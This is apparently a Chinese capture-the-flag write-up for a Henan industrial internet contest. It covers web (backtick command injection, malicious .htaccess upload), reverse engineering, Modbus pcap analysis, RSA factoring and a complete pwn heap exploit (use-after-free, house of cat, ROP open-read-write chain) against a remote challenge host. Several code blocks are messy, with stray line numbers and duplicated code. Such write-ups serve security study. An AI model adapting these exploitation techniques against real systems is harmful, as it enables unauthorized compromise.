河南省工业互联网大赛（复赛） wp

WEB

HNGK-blik

Rce，发现``没过滤，直接用即可。

HNGK-onepiece

文件上传,.htaccess没有过滤，先上传.htaccess，改变其解析方式。

然后上传jpg文件会被当作php文件解析。

访问即可得到flag。

Reverse

Re-guess

先查壳

无壳ida64 打开

推测，进行变换后用base64加密

简单尝试编写脚本

运行后得flag：flag{if_yi̇u_guess_and_try}

Re-cool

通过各种提示，推测使用python语言

先将exe转化为pyc再反编译为python文件

分析结构可写出脚本

import base64
 y = [0x1f,0x30,0x7a,0x7e,0x55,0x14,0x58,0x59,0x44,0x7d,0x7a,0x61,0x44,0x35,0x65,0x7e,0x4d,0x52,0x7a,0x65,0x73,0x47,0x11,0x5a,0x4a,0x2d,0x4f,0x69]
 lens = 28
 
 for i in range(28):
   if i % 2 == 0:
     y[i] = y[i] ^ 34
     continue
   if i % 3 == 0:
     y[i] = y[i] ^ 51
     continue
   if i % 5 == 0:
     y[i] = y[i] ^ 85
     continue
 for i in range(28-1,-1,-1):
  print(chr(y[i]),end="")
 print()
 flag = "ZmxhZ3tQeXRoMG5faXNfYzAwMX0="
 print(base64.b64decode(flag))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

运行后可得flag：

flag{Pyth0n_is_c001}

直接解码出来即可。

Flag为：flag{if_y0u_guess_and_try}

ICS

HNGK-奇怪的工控协议

Wireshark分析发现flag，抠出来就好。

HNGK-流量分析

找到了原题。

在流量包中发现了png图片。

import os, base64

img_str = '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'

img_data = base64.b64decode(img_str)

with open('1.png', 'wb') as f:

  f.write(img_data)

print(successful)

img_data = base64.b64decode(img_str)

with open('1.png', 'wb') as f:

  f.write(img_data)

print(successful)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

HNGK-Modbus流量分析

找到了类似的题：

脚本一;

import pyshark

def get_code():

   captures = pyshark.FileCapture("1.pcap")

   func_codes = {}

   for c in captures:

     for pkt in c:

       if pkt.layer_name == "modbus":

         func_code = int(pkt.func_code)

         if func_code in func_codes:

           func_codes[func_code] += 1

         else:

           func_codes[func_code] = 1

   print(func_codes)

if __name__ == '__main__':

 get_code()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

脚本二：

import pyshark

def find_flag():

   cap = pyshark.FileCapture("1.pcap")

   idx = 1

   for c in cap:

     for pkt in c:

       if pkt.layer_name == "modbus":

         func_code = int(pkt.func_code)

         if func_code == 16:

           payload = str(c["TCP"].payload).replace(":", "")

           print(hex_to_ascii(payload))

           print("{0} *".format(idx))

     idx += 1

def hex_to_ascii(payload):

 data = payload

 flags = []

 for d in data:

   _ord = ord(d)

   if (_ord > 0) and (_ord < 128):

     flags.append(chr(_ord))

 return ''.join(flags)

if __name__ == '__main__':

 find_flag()


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

然后hex转码出来得到flag。

HNGK-modbus

modbus.func_code == 1
1

Info中发现两个明显与其他不同的流量包

flag{1643+5486}不正确，id减去1，拼接发送包flag{1642+5485}提交正确

HNGK-加密文件分析

直接就把密码爆破出来了：10101739

得到密码后打开BB1压缩包，发现为PCZ文件，网上搜索之后发现了该文件为力控工程的备份文件，所以下载了力控工具：ForceControl

下载后点击回复备份文件，会有一个工程，直接选择开发。

最后在窗口里的标签发现了flag：

flag{fjsdkalg}

Crypto

HNGK-HardRSA

明显的RSA，直接在网上找了脚本，利用n、d爆破出来p、q。

 import random
 import libnum
 

\#需要改变的数据
 n = 75314708877985876609891002668743876625554190294166511210009550179954413879734907287395890885734882006305000064658341495591490553852990740634932819033664336759786999376788951906380623027099236652601832025317652283419527455478573200079725665895206177368408570970326643545210806238705537263439737999272322484393
 d = 10304874744787654147496365278986478201114950968434882459767596171356827577657686449351556699845391000049127292331775147314862622929371560548378501236023888087293532591829210438002936193106686968965664061672386720994287123226920682554316401724229936815553418464587344630901327534059887918508779592213104601681
 for a in range(100000,999999):
   if a%1000==0:print(a)
   k = a * d - 1
   r = k
   t = 0
   while True:
     r = r / 2
     t += 1
     if r % 2 == 1:
       break
   success = False
   for i in range(1, 101):
     g = random.randint(0, n)
     y = pow(g, r, n)
     if y == 1 or y == n - 1:
       continue
     for j in range(1, t):
       x = pow(y, 2, n)
       if x == 1:
         success = True
         break
       elif x == n - 1:
         continue
       else:
         y = x
     if success:
       break
     else:
       continue
   if success:
     p = libnum.gcd(y - 1, n)
     q = n/p
     print('P: ' + '%s' % p)#爆破得到p和q即可。
     print('Q: ' + '%s' % q)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

然后利用p、q得到flag。

from gmpy2 import *
from md5 import md5
q=8134764250316914977240939055123307507750874306113160101218096577677584025654326282630936230074917597921184142227850055873398652706587349895667411302286629
p= 9258376341398185999350718486678388748086924961707902231684477676159974982924771328403762590710189676719483651720152226906035715671461950810512232162187317
print("Flag: flag{%s}" %md5(str(p + q)).hexdigest())
1
2
3
4
5

得到flag为：flag{77d93d7406e76acbd8fc571296beba37}

PWN

pwn-easyhead

pwn爷太厉害了，这也能出。

ida 打开分析程序后，确定可利用uaf漏洞，但过程中发现有沙盒保护

使用house of cat攻击。

脚本如下

from pwn import *

context(log_level='debug',os='linux',arch='amd64')

 

def addition(size,payload=b'\x00'):

  p.sendlineafter("Please input your choice: \n",str(1))

  p.sendlineafter("Please input chunk size: ",str(size))

  p.sendafter("Please input your content: ",payload)

  

def dele(idx): 

  p.sendlineafter("Please input your choice: \n",str(3))

  p.sendlineafter("Please input your index: ",str(idx))

  

def edition(idx,payload): 

  p.sendlineafter("Please input your choice: \n",str(2))

  p.sendlineafter("Please input your index: ",str(idx))

  p.sendafter("Please input your content: ",payload)

  

def show(idx):

  p.sendlineafter("Please input your choice: \n",str(4))

  p.sendlineafter("Please input your index: ",str(idx))

  p.recvuntil("Your content is: ")

  tmp_addr = int(p.recvuntil('\n')[:-1],16)

  return tmp_addr;

  

def decode(num):

  a1 = num & 0xffff 

  a2 = (num & 0xffff0000)>>16

  a3 = (num & 0xffff00000000)>>32

  a4 = (num & 0xffff000000000000)>>48 

  if a1 == 0x44:

​    a1 = 0;

  else:

​    a1 = a1 ^ 0x44

  if a1 == 0:

​    a2 = a2 ^ 0x33

  else:

​    a2 = a2 ^ a1 ^ 0x33

  if a2 == 0:

​    a3 = a3 ^ 0x22

  else:

​    a3 = a3 ^ a2 ^ 0x22

  if a3 == 0:

​    a4 = a4 ^ 0x11

  else:

​    a4 = a4 ^ a3 ^ 0x11

  tmp_num = (a1*0x1000000000000)+(a2*0x100000000)+(a3*0x10000)+a4

  return tmp_num

 

bin = './easyheap'

p = remote('47.92.27.98','24435')

elf = ELF(bin)

libc = elf.libc

free_get = elf.got['free']

bss_heap = 0x0000000000404180

edit_flag = 0x0000000000404090

free_flag = 0x0000000000404098

ret = 0x0000000000401704

ex = lambda : p.sendlineafter("Please input your choice: \n",str(5))

 

one = [0xe3afe,0xe3b01,0xe3b04]

addition(0x18)

addition(0x18)

addition(0x18)

addition(0x18,b'flag\x00\x00\x00x\x00') # 3

dele(0)

dele(1)

edition(1,p64(bss_heap))

addition(0x18) # 4

addition(0x18,p64(free_get)+p64(edit_flag-0x8)+p64(free_get-0x8)) # 5

edition(1,p64(0xffff)*3)

free_addr = decode(show(0))

libc_base = free_addr-libc.sym['free']

system = libc_base+libc.sym['system']

puts = libc_base+libc.sym['puts']

 

io_list_all = libc_base+libc.sym['_IO_list_all']

pointer = libc_base+0x1F3570

setcontext = libc_base+libc.sym['setcontext']

 

pop_rdi = libc_base+0x0000000000023b6a 

pop_rsi= libc_base+0x000000000002601f 

pop_rdx = libc_base+0x0000000000142c92 

o = libc_base+libc.sym['open']

rr = libc_base+libc.sym['read']

w = libc_base+libc.sym['write']

 

_IO_wfile_jumps = libc_base+libc.sym._IO_wfile_jumps

_IO_2_1_stderr_ = libc_base+libc.sym._IO_2_1_stderr_

stderr = 0x4040e0

 

edition(5,p64(stderr)+p64(pointer)+p64(bss_heap+0x18))

heap_base = decode(show(2))-0x300

edition(0,p64(heap_base+0x310))

pointer_context = decode(show(1))

heapaddr = heap_base

next_chain = 0

fake_IO_FILE = p64(0)*4 

fake_IO_FILE +=p64(0)

fake_IO_FILE +=p64(0)

fake_IO_FILE +=p64(1)+p64(0)

fake_IO_FILE +=p64(heapaddr+0x3c0)

fake_IO_FILE +=p64(setcontext+61)

fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')

fake_IO_FILE += p64(0)  # _chain

fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')

fake_IO_FILE += p64(heapaddr+0x1000)  

fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')

fake_IO_FILE +=p64(heapaddr+0x340) #rax1

fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')

fake_IO_FILE += p64(1)  # _mode = 1

fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')

fake_IO_FILE += p64(_IO_wfile_jumps+0x10) 

fake_IO_FILE +=p64(0)*6

fake_IO_FILE += p64(heapaddr+0x340+0x10) 

 

flagaddr=heapaddr+0x300

payload1=fake_IO_FILE+p64(flagaddr)+p64(0)+p64(0)*5+p64(heapaddr+0x530)+p64(ret) 

 

payload2  = p64(pop_rdi)+p64(flagaddr)+p64(pop_rsi)+p64(0)+p64(o)

payload2 += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(bss_heap+0x200)+p64(pop_rdx)+p64(0x100)+p64(rr)

payload2 += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(bss_heap+0x200)+p64(pop_rdx)+p64(0x100)+p64(w)

 

addition(0x200,payload1) 

addition(0x100,payload2) 

edition(5,p64(heap_base+0x630)*3)

edition(0,p64(0)+p64(0x13))

success("system -> "+hex(system))

success("free_addr -> "+hex(free_addr))

success("heap_base -> "+hex(heap_base))

success("pointer_context -> "+hex(pointer_context))

p.sendlineafter("Please input your choice: \n",str(1))

p.sendlineafter("Please input chunk size: ",str(0x50))

 

p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
